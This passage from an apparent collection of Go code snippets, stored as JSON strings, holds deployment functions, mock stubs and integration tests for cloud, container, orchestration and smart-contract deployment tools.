{\n\t\t\t\treturn \"\", fmt.Errorf(\"failed to deploy existing Service: code=%d message=%s -- %s\", e.Code, e.Message, e.Body)\n\t\t\t}\n\t\t\treturn \"\", fmt.Errorf(\"failed to deploy to existing Service: %w\", err)\n\t\t}\n\t} else {\n\t\t// new service\n\t\tsvc := newService(name, project, image, envVars, options)\n\t\t_, err = client.Namespaces.Services.Create(\"namespaces/\"+project, svc).Do()\n\t\tif err != nil {\n\t\t\tif e, ok := err.(*googleapi.Error); ok {\n\t\t\t\treturn \"\", fmt.Errorf(\"failed to deploy a new Service: code=%d message=%s -- %s\", e.Code, e.Message, e.Body)\n\t\t\t}\n\t\t\treturn \"\", fmt.Errorf(\"failed to deploy a new Service: %w\", err)\n\t\t}\n\t}\n\n\tif options.AllowUnauthenticated == nil || *options.AllowUnauthenticated {\n\t\tif err := allowUnauthenticated(project, name, region); err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"failed to allow unauthenticated requests on the service: %w\", err)\n\t\t}\n\t}\n\n\tif err := waitReady(project, name, region); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tout, err := getService(project, name, region)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"failed to get service after deploying: %w\", err)\n\t}\n\treturn out.Status.Url, nil\n}", "func (m *MockTenantServiceDao) UpdateDeployVersion(serviceID, deployversion string) error {\n\tret := m.ctrl.Call(m, \"UpdateDeployVersion\", serviceID, deployversion)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (f *FakeController) Deploy(options *deploy.Options, log log.Logger) error {\n\treturn nil\n}", "func TestDeploy(t *testing.T) {\n\tdata, err := setupTest(t)\n\tif err != nil {\n\t\tt.Fatalf(\"Error when setting up test: %v\", err)\n\t}\n\tdefer teardownTest(t, data)\n}", "func (m *MockSystemContract) Exec() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Exec\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockCdkClient) DeployApp(appDir string, context []string) (cdk.ProgressStream, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"DeployApp\", appDir, context)\n\tret0, _ := ret[0].(cdk.ProgressStream)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (p *provider) deploy(req handlers.ResourceDeployRequest) (*handlers.ResourceDeployResult, error) {\n\tvar result handlers.ResourceDeployResult\n\n\t// get resource info : tmc + extension info\n\tresourceInfo, err := p.defaultHandler.GetResourceInfo(&req)\n\tdefer func() {\n\t\t// callback to orchestrator\n\t\tif len(req.Callback) == 0 {\n\t\t\treturn\n\t\t}\n\t\tif err != nil {\n\t\t\tp.defaultHandler.Callback(req.Callback, req.Uuid, false, nil, req.Options, err.Error())\n\t\t} else {\n\t\t\tp.defaultHandler.Callback(req.Callback, result.ID, true, result.Config, result.Options, \"\")\n\t\t}\n\t}()\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to defaultHandler.GetResourceInfo for %s:%s/%s\", req.Engine, req.Options[\"version\"], req.Az)\n\t}\n\n\thandler := p.findHandler(resourceInfo.Tmc)\n\tif handler == nil {\n\t\treturn nil, fmt.Errorf(\"could not find deploy handler for %s\", req.Engine)\n\t}\n\n\t// pre-check if it needs to further deploy\n\ttmcInstance, needDeployInstance, err := handler.CheckIfNeedTmcInstance(&req, resourceInfo)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to CheckIfNeedTmcInstance for %s/%s\", req.Engine, req.Az)\n\t}\n\ttenant, needApplyTenant, err := handler.CheckIfNeedTmcInstanceTenant(&req, resourceInfo)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to CheckIfNeedTmcInstanceTenant for %s/%s\", req.Engine, req.Az)\n\t}\n\tp.Log.Infof(\"[%s/%s] check if it needs to deploy tmc instance: %v, needs to apply tenant: %v\\n\",\n\t\treq.Engine, req.Az, needDeployInstance, needApplyTenant)\n\n\tvar subResults []*handlers.ResourceDeployResult\n\t// resolve dependency resources\n\tif needApplyTenant || needDeployInstance {\n\t\t// for some resource like monitor, do not has dice.yml definition\n\t\tif resourceInfo.Dice != nil && resourceInfo.Dice.AddOns != nil {\n\t\t\tdefer func() {\n\t\t\t\t// delete related sub resources if error occur\n\t\t\t\tif err == nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tfor _, subResult := range subResults {\n\t\t\t\t\tp.UnDeploy(subResult.ID)\n\t\t\t\t\thandler.DeleteRequestRelation(req.Uuid, subResult.ID)\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\tfor name, addon := range resourceInfo.Dice.AddOns {\n\t\t\t\t// deploy dependency resource recursive\n\t\t\t\tsubReq := handler.BuildSubResourceDeployRequest(name, addon, &req)\n\t\t\t\tif subReq == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tvar subResult *handlers.ResourceDeployResult\n\t\t\t\tsubResult, err = p.Deploy(*subReq)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, errors.Wrapf(err, \"failed to Deploy sub addon %s:%s/%s\", subReq.Engine, subReq.Options[\"version\"], subReq.Az)\n\t\t\t\t}\n\t\t\t\tsubResults = append(subResults, subResult)\n\t\t\t\thandler.BuildRequestRelation(req.Uuid, subResult.ID)\n\t\t\t}\n\t\t}\n\t}\n\n\t// create tmc_instance record if necessary\n\tvar clusterConfig map[string]string\n\tclusterConfig, err = handler.GetClusterConfig(req.Az)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"failed to GetClusterConfig(%s)\", req.Az)\n\t}\n\tif needDeployInstance {\n\t\t// initialize tmc_instance\n\t\ttmcInstance, err = handler.InitializeTmcInstance(&req, resourceInfo, subResults)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"failed to InitializeTmcInstance\")\n\t\t}\n\t\tdefer func() {\n\t\t\t// delete instance if error occur,\n\t\t\t// if tmcInstance status is RUNNING skip delete even if error\n\t\t\tif err == nil || tmcInstance.Status == handlers.TmcInstanceStatusRunning {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\thandler.DeleteTmcInstance(tmcInstance, handlers.TmcInstanceStatusError)\n\t\t}()\n\n\t\t// if is custom resource, do not real deploy, just update config and simply mark status as RUNNING\n\t\tcustomConfig, hasCustom := handler.CheckIfHasCustomConfig(clusterConfig)\n\t\tif hasCustom {\n\t\t\thandler.UpdateTmcInstanceOnCustom(tmcInstance, customConfig)\n\t\t} else {\n\t\t\t// do pre-deploy job if any\n\t\t\tif err = handler.DoPreDeployJob(resourceInfo, tmcInstance); err != nil {\n\t\t\t\treturn nil, errors.Wrap(err, \"failed to DoPreDeployJob\")\n\t\t\t}\n\n\t\t\t// do deploy and wait for ready\n\t\t\tvar sgDeployResult interface{}\n\t\t\tif resourceInfo.Dice == nil || resourceInfo.Dice.Services == nil || len(resourceInfo.Dice.Services) == 0 {\n\t\t\t\t// some resource do not need real deploy, e.g. configcenter.\n\t\t\t\t// this kind of resource do not have services section defined in dice.yml\n\t\t\t\t// just mock a success response\n\t\t\t\tsgDeployResult = &apistructs.ServiceGroup{\n\t\t\t\t\tStatusDesc: apistructs.StatusDesc{Status: apistructs.StatusReady},\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tsgReq := handler.BuildServiceGroupRequest(resourceInfo, tmcInstance, clusterConfig)\n\t\t\t\tsgDeployResult, err = handler.DoDeploy(sgReq, resourceInfo, tmcInstance, clusterConfig)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, errors.Wrap(err, \"failed to DoDeploy\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// do post-deploy job if any\n\t\t\tadditionalConfig := map[string]string{}\n\t\t\tadditionalConfig, err = handler.DoPostDeployJob(tmcInstance, sgDeployResult, clusterConfig)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Wrapf(err, \"failed to DoPostDeployJob for tmc_instance %+v\", tmcInstance)\n\t\t\t}\n\n\t\t\t// update tmc_instance config and status\n\t\t\tconfig := handler.BuildTmcInstanceConfig(tmcInstance, sgDeployResult, clusterConfig, additionalConfig)\n\t\t\thandler.UpdateTmcInstanceOnFinish(tmcInstance, config, handlers.TmcInstanceStatusRunning)\n\t\t}\n\t}\n\n\tif needApplyTenant {\n\t\t// create tmc_instance_tenant record\n\t\ttenant, err = handler.InitializeTmcInstanceTenant(&req, tmcInstance, subResults)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"failed to InitializeTmcInstanceTenant\")\n\t\t}\n\t\tdefer func() {\n\t\t\t// delete tenant if error occur\n\t\t\tif err == nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\thandler.DeleteTenant(tenant, tmcInstance, clusterConfig)\n\t\t}()\n\n\t\t// deploy tmc_instance_tenant\n\t\tvar config map[string]string\n\t\tconfig, err = handler.DoApplyTmcInstanceTenant(&req, resourceInfo, tmcInstance, tenant, clusterConfig)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"failed to DoApplyTmcInstanceTenant for %+v\", tmcInstance)\n\t\t}\n\n\t\t// update and persistent applied config\n\t\ttenant, err = handler.UpdateTmcInstanceTenantOnFinish(tenant, config)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"failed to UpdateTmcInstanceTenantOnFinish\")\n\t\t}\n\t}\n\n\tresult = handler.BuildDeployResult(tmcInstance, tenant)\n\n\treturn &result, nil\n}", "func (m *MockServiceExecutor) Execute(arg0 executor.ServiceExecutionInfo) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Execute\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func TestCmdDeploy_retryOk(t *testing.T) {\n\tdeletedPods := []string{}\n\tconfig := deploytest.OkDeploymentConfig(1)\n\n\texistingDeployment := deploymentFor(config, deployapi.DeploymentStatusFailed)\n\texistingDeployment.Annotations[deployapi.DeploymentCancelledAnnotation] = deployapi.DeploymentCancelledAnnotationValue\n\texistingDeployment.Annotations[deployapi.DeploymentStatusReasonAnnotation] = deployapi.DeploymentCancelledByUser\n\n\texistingDeployerPods := []kapi.Pod{\n\t\t{ObjectMeta: kapi.ObjectMeta{Name: \"prehook\"}},\n\t\t{ObjectMeta: kapi.ObjectMeta{Name: \"posthook\"}},\n\t\t{ObjectMeta: kapi.ObjectMeta{Name: \"deployerpod\"}},\n\t}\n\n\tvar updatedDeployment *kapi.ReplicationController\n\tcommandClient := &deployCommandClientImpl{\n\t\tGetDeploymentFn: func(namespace, name string) (*kapi.ReplicationController, error) {\n\t\t\treturn existingDeployment, nil\n\t\t},\n\t\tUpdateDeploymentConfigFn: func(config *deployapi.DeploymentConfig) (*deployapi.DeploymentConfig, error) {\n\t\t\tt.Fatalf(\"unexpected call to UpdateDeploymentConfig\")\n\t\t\treturn nil, nil\n\t\t},\n\t\tUpdateDeploymentFn: func(deployment *kapi.ReplicationController) (*kapi.ReplicationController, error) {\n\t\t\tupdatedDeployment = deployment\n\t\t\treturn deployment, nil\n\t\t},\n\t\tListDeployerPodsForFn: func(namespace, name string) (*kapi.PodList, error) {\n\t\t\treturn &kapi.PodList{Items: existingDeployerPods}, nil\n\t\t},\n\t\tDeletePodFn: func(pod *kapi.Pod) error {\n\t\t\tdeletedPods = append(deletedPods, pod.Name)\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tc := &retryDeploymentCommand{client: commandClient}\n\terr := c.retry(config, ioutil.Discard)\n\n\tif err != nil {\n\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t}\n\n\tif updatedDeployment == nil {\n\t\tt.Fatalf(\"expected updated config\")\n\t}\n\n\tif deployutil.IsDeploymentCancelled(updatedDeployment) {\n\t\tt.Fatalf(\"deployment should not have the cancelled flag set anymore\")\n\t}\n\n\tif deployutil.DeploymentStatusReasonFor(updatedDeployment) != \"\" {\n\t\tt.Fatalf(\"deployment status reason should be empty\")\n\t}\n\n\tsort.Strings(deletedPods)\n\tif !reflect.DeepEqual(deletedPods, []string{\"deployerpod\", \"posthook\", \"prehook\"}) {\n\t\tt.Fatalf(\"Not all deployer pods for the failed deployment were deleted\")\n\t}\n\n\tif e, a := deployapi.DeploymentStatusNew, deployutil.DeploymentStatusFor(updatedDeployment); e != a {\n\t\tt.Fatalf(\"expected deployment status %s, got %s\", e, a)\n\t}\n}", "func (c *DetaClient) Deploy(r *DeployRequest) (*DeployResponse, error) {\n\theaders := make(map[string]string)\n\tc.injectResourceHeader(headers, r.Account, r.Region)\n\n\ti := &requestInput{\n\t\tPath: fmt.Sprintf(\"/%s/\", patcherPath),\n\t\tMethod: \"POST\",\n\t\tHeaders: headers,\n\t\tBody: r,\n\t\tNeedsAuth: true,\n\t}\n\to, err := c.request(i)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif o.Status != 200 {\n\t\tmsg := o.Error.Message\n\t\tif msg == \"\" {\n\t\t\tmsg = o.Error.Errors[0]\n\t\t}\n\t\treturn nil, fmt.Errorf(\"failed to deploy: %v\", msg)\n\t}\n\n\tvar resp DeployResponse\n\terr = json.Unmarshal(o.Body, &resp)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to deploy: %v\", err)\n\t}\n\treturn &resp, nil\n}", "func (_m *Client) Deploy(ctx context.Context, lID v1beta2.LeaseID, mgroup *manifest.Group) error {\n\tret := _m.Called(ctx, lID, mgroup)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(context.Context, v1beta2.LeaseID, *manifest.Group) error); ok {\n\t\tr0 = rf(ctx, lID, mgroup)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func TestRunConsulDeploymentsPackageTests(t *testing.T) {\n\tcfg := testutil.SetupTestConfig(t)\n\tsrv, client := testutil.NewTestConsulInstance(t, &cfg)\n\tdefer func() {\n\t\tsrv.Stop()\n\t\tos.RemoveAll(cfg.WorkingDirectory)\n\t}()\n\n\tt.Run(\"groupDeployments\", func(t *testing.T) {\n\t\tt.Run(\"testArtifacts\", func(t *testing.T) {\n\t\t\ttestArtifacts(t, srv)\n\t\t})\n\t\tt.Run(\"testCapabilities\", func(t *testing.T) {\n\t\t\ttestCapabilities(t, srv)\n\t\t})\n\t\tt.Run(\"testDefinitionStore\", func(t *testing.T) {\n\t\t\ttestDefinitionStore(t)\n\t\t})\n\t\tt.Run(\"testDeploymentNodes\", func(t *testing.T) {\n\t\t\ttestDeploymentNodes(t, srv)\n\t\t})\n\t\tt.Run(\"testRequirements\", func(t *testing.T) {\n\t\t\ttestRequirements(t, srv)\n\t\t})\n\t\tt.Run(\"testResolver\", func(t *testing.T) {\n\t\t\ttestResolver(t)\n\t\t})\n\t\tt.Run(\"testGetTypePropertyDataType\", func(t *testing.T) {\n\t\t\ttestGetTypePropertyDataType(t)\n\t\t})\n\t\tt.Run(\"testGetNestedDataType\", func(t *testing.T) {\n\t\t\ttestGetNestedDataType(t)\n\t\t})\n\t\tt.Run(\"testReadComplexVA\", func(t *testing.T) {\n\t\t\ttestReadComplexVA(t)\n\t\t})\n\t\tt.Run(\"testIssueGetEmptyPropRel\", func(t *testing.T) {\n\t\t\ttestIssueGetEmptyPropRel(t)\n\t\t})\n\t\tt.Run(\"testRelationshipWorkflow\", func(t *testing.T) {\n\t\t\ttestRelationshipWorkflow(t)\n\t\t})\n\t\tt.Run(\"testGlobalInputs\", func(t *testing.T) {\n\t\t\ttestGlobalInputs(t)\n\t\t})\n\t\tt.Run(\"testInlineWorkflow\", func(t *testing.T) {\n\t\t\ttestInlineWorkflow(t)\n\t\t})\n\t\tt.Run(\"testDeleteWorkflow\", func(t *testing.T) {\n\t\t\ttestDeleteWorkflow(t)\n\t\t})\n\t\tt.Run(\"testCheckCycleInNestedWorkflows\", func(t *testing.T) {\n\t\t\ttestCheckCycleInNestedWorkflows(t)\n\t\t})\n\t\tt.Run(\"testGetCapabilityProperties\", func(t *testing.T) {\n\t\t\ttestGetCapabilityProperties(t)\n\t\t})\n\t\tt.Run(\"testSubstitutionServiceCapabilityMappings\", func(t *testing.T) {\n\t\t\ttestSubstitutionServiceCapabilityMappings(t)\n\t\t})\n\t\tt.Run(\"testSubstitutionServiceRequirementMappings\", func(t *testing.T) {\n\t\t\ttestSubstitutionServiceRequirementMappings(t)\n\t\t})\n\t\tt.Run(\"testSubstitutionClientDirective\", func(t *testing.T) {\n\t\t\ttestSubstitutionClientDirective(t)\n\t\t})\n\t\tt.Run(\"testSubstitutionClientServiceInstance\", func(t *testing.T) {\n\t\t\ttestSubstitutionClientServiceInstance(t)\n\t\t})\n\t\tt.Run(\"TestOperationImplementationArtifact\", func(t *testing.T) {\n\t\t\ttestOperationImplementationArtifact(t)\n\t\t})\n\t\tt.Run(\"TestOperationHost\", func(t *testing.T) {\n\t\t\ttestOperationHost(t)\n\t\t})\n\t\tt.Run(\"testIssueGetEmptyPropOnRelationship\", func(t *testing.T) {\n\t\t\ttestIssueGetEmptyPropOnRelationship(t)\n\t\t})\n\n\t\tt.Run(\"testTopologyUpdate\", func(t *testing.T) {\n\t\t\ttestTopologyUpdate(t)\n\t\t})\n\t\tt.Run(\"testTopologyBadUpdate\", func(t *testing.T) {\n\t\t\ttestTopologyBadUpdate(t)\n\t\t})\n\t\tt.Run(\"testRepositories\", func(t *testing.T) {\n\t\t\ttestRepositories(t)\n\t\t})\n\t\tt.Run(\"testPurgedDeployments\", func(t *testing.T) {\n\t\t\ttestPurgedDeployments(t, client)\n\t\t})\n\t\tt.Run(\"testDeleteDeployment\", func(t *testing.T) {\n\t\t\ttestDeleteDeployment(t)\n\t\t})\n\t\tt.Run(\"testDeleteInstance\", func(t *testing.T) {\n\t\t\ttestDeleteInstance(t)\n\t\t})\n\t\tt.Run(\"testDeleteAllInstances\", func(t *testing.T) {\n\t\t\ttestDeleteAllInstances(t)\n\t\t})\n\t\tt.Run(\"testDeleteRelationshipInstance\", func(t *testing.T) {\n\t\t\ttestDeleteRelationshipInstance(t)\n\t\t})\n\n\t\tt.Run(\"testResolveAttributeMapping\", func(t *testing.T) {\n\t\t\ttestResolveAttributeMapping(t)\n\t\t})\n\n\t})\n\n\tt.Run(\"CommonsTestsOn_test_topology.yml\", func(t *testing.T) {\n\t\tdeploymentID := testutil.BuildDeploymentID(t)\n\t\terr := StoreDeploymentDefinition(context.Background(), deploymentID, \"testdata/test_topology.yml\")\n\t\trequire.NoError(t, err)\n\n\t\tt.Run(\"TestNodeHasAttribute\", func(t *testing.T) {\n\t\t\ttestNodeHasAttribute(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestNodeHasProperty\", func(t *testing.T) {\n\t\t\ttestNodeHasProperty(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestTopologyTemplateMetadata\", func(t *testing.T) {\n\t\t\ttestTopologyTemplateMetadata(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestAttributeNotifications\", func(t *testing.T) {\n\t\t\ttestAttributeNotifications(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestNotifyAttributeOnValueChange\", func(t *testing.T) {\n\t\t\ttestNotifyAttributeOnValueChange(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestImportTopologyTemplate\", func(t *testing.T) {\n\t\t\ttestImportTopologyTemplateNodeMetadata(t, deploymentID)\n\t\t})\n\t\tt.Run(\"TestTopologyTemplateMetadata\", func(t *testing.T) {\n\t\t\ttestTopologyTemplateMetadata(t, deploymentID)\n\t\t})\n\t})\n\n\tt.Run(\"CommonsTestsOn_test_topology_substitution.yml\", func(t *testing.T) {\n\t\tdeploymentID := testutil.BuildDeploymentID(t)\n\t\terr := StoreDeploymentDefinition(context.Background(), deploymentID, \"testdata/test_topology_substitution.yml\")\n\t\trequire.NoError(t, err)\n\n\t\tt.Run(\"TestAddSubstitutionMappingAttributeHostNotification\", func(t *testing.T) {\n\t\t\ttestAddSubstitutionMappingAttributeHostNotification(t, deploymentID)\n\t\t})\n\t})\n}", "func (s *TaffyDeploySuite) TestDeploys(t *c.C) {\n\tassertMeta := func(m map[string]string, k string, checker c.Checker, args ...interface{}) {\n\t\tv, ok := m[k]\n\t\tt.Assert(ok, c.Equals, true)\n\t\tt.Assert(v, checker, args...)\n\t}\n\n\tclient := s.controllerClient(t)\n\n\tgithub := map[string]string{\n\t\t\"user\": \"flynn-examples\",\n\t\t\"repo\": \"nodejs-flynn-example\",\n\t\t\"branch\": \"master\",\n\t\t\"rev\": \"5e177fec38fbde7d0a03e9e8dccf8757c68caa11\",\n\t\t\"clone_url\": \"https://github.com/flynn-examples/nodejs-flynn-example.git\",\n\t}\n\n\t// initial deploy\n\n\tapp := &ct.App{}\n\tt.Assert(client.CreateApp(app), c.IsNil)\n\tdebugf(t, \"created app %s (%s)\", app.Name, app.ID)\n\n\tenv := map[string]string{\n\t\t\"SOMEVAR\": \"SOMEVAL\",\n\t}\n\tmeta := map[string]string{\n\t\t\"github\": \"true\",\n\t\t\"github_user\": github[\"user\"],\n\t\t\"github_repo\": github[\"repo\"],\n\t}\n\ts.deployWithTaffy(t, app, env, meta, github)\n\n\trelease, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\tt.Assert(release, c.NotNil)\n\tt.Assert(release.Meta, c.NotNil)\n\tassertMeta(release.Meta, \"git\", c.Equals, \"true\")\n\tassertMeta(release.Meta, \"clone_url\", c.Equals, github[\"clone_url\"])\n\tassertMeta(release.Meta, \"branch\", c.Equals, github[\"branch\"])\n\tassertMeta(release.Meta, \"rev\", c.Equals, github[\"rev\"])\n\tassertMeta(release.Meta, \"taffy_job\", c.Not(c.Equals), \"\")\n\tassertMeta(release.Meta, \"github\", c.Equals, \"true\")\n\tassertMeta(release.Meta, \"github_user\", c.Equals, github[\"user\"])\n\tassertMeta(release.Meta, \"github_repo\", c.Equals, github[\"repo\"])\n\tt.Assert(release.Env, c.NotNil)\n\tassertMeta(release.Env, \"SOMEVAR\", c.Equals, \"SOMEVAL\")\n\n\t// second deploy\n\n\tgithub[\"rev\"] = \"4231f8871da2b9fd73a5402753df3dfc5609d7b7\"\n\n\trelease, err = client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\n\ts.deployWithTaffy(t, app, env, meta, github)\n\n\tnewRelease, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\tt.Assert(newRelease.ID, c.Not(c.Equals), release.ID)\n\tt.Assert(env, c.DeepEquals, newRelease.Env)\n\tt.Assert(release.Processes, c.DeepEquals, newRelease.Processes)\n\tt.Assert(newRelease, c.NotNil)\n\tt.Assert(newRelease.Meta, c.NotNil)\n\tassertMeta(newRelease.Meta, \"git\", c.Equals, \"true\")\n\tassertMeta(newRelease.Meta, \"clone_url\", c.Equals, github[\"clone_url\"])\n\tassertMeta(newRelease.Meta, \"branch\", c.Equals, github[\"branch\"])\n\tassertMeta(newRelease.Meta, \"rev\", c.Equals, github[\"rev\"])\n\tassertMeta(newRelease.Meta, \"taffy_job\", c.Not(c.Equals), \"\")\n\tassertMeta(newRelease.Meta, \"github\", c.Equals, \"true\")\n\tassertMeta(newRelease.Meta, \"github_user\", c.Equals, github[\"user\"])\n\tassertMeta(newRelease.Meta, \"github_repo\", c.Equals, github[\"repo\"])\n}", "func (m *CloudWatchLogsServiceMock) CreateNewServiceIfUnHealthy() {\n\n}", "func (oi *offsetInjector) deploy(ctx context.Context) error {\n\tif err := oi.c.RunE(ctx, oi.c.All(), \"test -x ./bumptime\"); err == nil {\n\t\toi.deployed = true\n\t\treturn nil\n\t}\n\n\tif err := oi.c.Install(ctx, oi.c.l, oi.c.All(), \"ntp\"); err != nil {\n\t\treturn err\n\t}\n\tif err := oi.c.Install(ctx, oi.c.l, oi.c.All(), \"gcc\"); err != nil {\n\t\treturn err\n\t}\n\tif err := oi.c.RunL(ctx, oi.c.l, oi.c.All(), \"sudo\", \"service\", \"ntp\", \"stop\"); err != nil {\n\t\treturn err\n\t}\n\tif err := oi.c.RunL(ctx, oi.c.l,\n\t\toi.c.All(),\n\t\t\"curl\",\n\t\t\"--retry\", \"3\",\n\t\t\"--fail\",\n\t\t\"--show-error\",\n\t\t\"-kO\",\n\t\t\"https://raw.githubusercontent.com/cockroachdb/jepsen/master/cockroachdb/resources/bumptime.c\",\n\t); err != nil {\n\t\treturn err\n\t}\n\tif err := oi.c.RunL(ctx, oi.c.l,\n\t\toi.c.All(), \"gcc\", \"bumptime.c\", \"-o\", \"bumptime\", \"&&\", \"rm bumptime.c\",\n\t); err != nil {\n\t\treturn err\n\t}\n\toi.deployed = true\n\treturn nil\n}", "func (mr *MockmonitorInterfaceMockRecorder) InvokeDeployService(name, num interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"InvokeDeployService\", reflect.TypeOf((*MockmonitorInterface)(nil).InvokeDeployService), name, num)\n}", "func TestCallToPublicService(t *testing.T) {\n\tt.Parallel()\n\n\tclients := Setup(t)\n\n\tt.Log(\"Creating a Service for the helloworld test app.\")\n\tnames := test.ResourceNames{\n\t\tService: test.ObjectNameForTest(t),\n\t\tImage: test.HelloWorld,\n\t}\n\n\ttest.EnsureTearDown(t, clients, &names)\n\n\tresources, err := v1test.CreateServiceReady(t, clients, &names)\n\tif err != nil {\n\t\tt.Fatalf(\"Failed to create initial Service: %v: %v\", names.Service, err)\n\t}\n\n\tif resources.Route.Status.URL.Host == \"\" {\n\t\tt.Fatalf(\"Route is missing .Status.URL: %#v\", resources.Route.Status)\n\t}\n\tif resources.Route.Status.Address == nil {\n\t\tt.Fatalf(\"Route is missing .Status.Address: %#v\", resources.Route.Status)\n\t}\n\n\tgatewayTestCases := []struct {\n\t\tname string\n\t\turl *url.URL\n\t\taccessibleExternally bool\n\t}{\n\t\t{\"local_address\", resources.Route.Status.Address.URL.URL(), false},\n\t\t{\"external_address\", resources.Route.Status.URL.URL(), true},\n\t}\n\n\tfor _, tc := range gatewayTestCases {\n\t\ttc := tc\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tt.Parallel()\n\t\t\tif !test.ServingFlags.DisableLogStream {\n\t\t\t\tcancel := logstream.Start(t)\n\t\t\t\tdefer cancel()\n\t\t\t}\n\t\t\ttestProxyToHelloworld(t, clients, tc.url, false /*inject*/, tc.accessibleExternally)\n\t\t})\n\t}\n}", "func (s *Service) deploy(ctx context.Context, pathToKey, passphrase string) error {\n\tkeyReader, err := os.Open(pathToKey)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer keyReader.Close()\n\n\tauth, err := bind.NewTransactorWithChainID(keyReader, passphrase, big.NewInt(goerliTestnetChainID))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\taddress, transaction, store, err := bindings.DeployStore(auth, s.client)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.store = store\n\n\tfmt.Println(\"✨ Contract address (pending deploy): \", address.Hex())\n\tfmt.Println(\"🏦 Transaction hash (waiting to be mined): \", transaction.Hash())\n\tfmt.Println(\"🚀 Successfully deployed contract :)\")\n\n\treturn nil\n}", "func (s *TaffyDeploySuite) TestDeploys(t *c.C) {\n\tclient := s.controllerClient(t)\n\n\tgithub := map[string]string{\n\t\t\"user_login\": \"flynn-examples\",\n\t\t\"repo_name\": \"go-flynn-example\",\n\t\t\"ref\": \"master\",\n\t\t\"sha\": \"a2ac6b059e1359d0e974636935fda8995de02b16\",\n\t\t\"clone_url\": \"https://github.com/flynn-examples/go-flynn-example.git\",\n\t}\n\n\t// initial deploy\n\n\tapp := &ct.App{\n\t\tMeta: map[string]string{\n\t\t\t\"type\": \"github\",\n\t\t\t\"user_login\": github[\"user_login\"],\n\t\t\t\"repo_name\": github[\"repo_name\"],\n\t\t\t\"ref\": github[\"ref\"],\n\t\t\t\"sha\": github[\"sha\"],\n\t\t\t\"clone_url\": github[\"clone_url\"],\n\t\t},\n\t}\n\tt.Assert(client.CreateApp(app), c.IsNil)\n\tdebugf(t, \"created app %s (%s)\", app.Name, app.ID)\n\n\ts.deployWithTaffy(t, app, github)\n\n\t_, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\n\t// second deploy\n\n\tgithub[\"sha\"] = \"2bc7e016b1b4aae89396c898583763c5781e031a\"\n\n\trelease, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\n\trelease = &ct.Release{\n\t\tEnv: release.Env,\n\t\tProcesses: release.Processes,\n\t}\n\tt.Assert(client.CreateRelease(release), c.IsNil)\n\tt.Assert(client.SetAppRelease(app.ID, release.ID), c.IsNil)\n\n\ts.deployWithTaffy(t, app, github)\n\n\tnewRelease, err := client.GetAppRelease(app.ID)\n\tt.Assert(err, c.IsNil)\n\tt.Assert(newRelease.ID, c.Not(c.Equals), release.ID)\n\trelease.Env[\"SLUG_URL\"] = newRelease.Env[\"SLUG_URL\"] // SLUG_URL will be different\n\tt.Assert(release.Env, c.DeepEquals, newRelease.Env)\n\tt.Assert(release.Processes, c.DeepEquals, newRelease.Processes)\n}", "func (d *Docker) Deploy(ctx context.Context, fn types.Func, name string, ports []types.PortBinding) error {\n\t// if DOCKER_REMOTE_HOST and DOCKER_REMOTE_PORT given\n\t// it means user is going to deploy service to remote host\n\thost := os.Getenv(\"DOCKER_REMOTE_HOST\")\n\tport := os.Getenv(\"DOCKER_REMOTE_PORT\")\n\tif port != \"\" && host != \"\" {\n\t\thttpClient, err := dockerHTTP.Create(host, port)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tproject, err := packer.Pack(name, fn)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"could pack function %v (%s)\", name, 